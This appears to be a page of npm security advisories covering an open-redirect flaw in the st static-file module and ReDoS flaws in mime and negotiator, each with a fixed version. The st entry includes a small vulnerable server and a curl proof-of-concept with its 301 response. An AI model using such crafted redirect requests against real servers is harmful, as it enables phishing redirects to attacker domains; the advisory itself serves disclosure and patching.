Version Details and Security Vulnerabilities

st is a module for serving static files.

An attacker is able to craft a request that results in an HTTP 301 (redirect) to an entirely different domain.

A request for: http://some.server.com//nodesecurity.org/%2e%2e would result in a 301 to //nodesecurity.org/%2e%2e which most browsers treat as a proper redirect as // is translated into the current schema being used.

Mitigating factor:

In order for this to work, st must be serving from the root of a server (/) rather than the typical sub directory (/static/) and the redirect URL will end with some form of URL encoded .. ("%2e%2e", "%2e.", ".%2e").

Code example (provided by Xin Gao):

[example.js]

var st = require('st') 
var http = require('http') 
http.createServer(st(process.cwd())).listen(1337)

$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 1337 (#0)
> GET //cve.mitre.com/%2e%2e HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< cache-control: public, max-age=600
< last-modified: Fri, 13 Oct 2017 22:56:33 GMT
< etag: "16777220-46488904-1507935393000"
< location: //cve.mitre.com/%2e%2e/
< Date: Fri, 13 Oct 2017 22:56:41 GMT
< Connection: keep-alive
< Content-Length: 30
<
* Connection #0 to host localhost left intact

Recommendation

Update to version 1.2.2 or later.

Affected versions of mime are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.

Recommendation

Update to version 2.0.3 or later.

Affected versions of negotiator are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted Accept-Language header value.

Recommendation

Update to version 0.6.1 or later.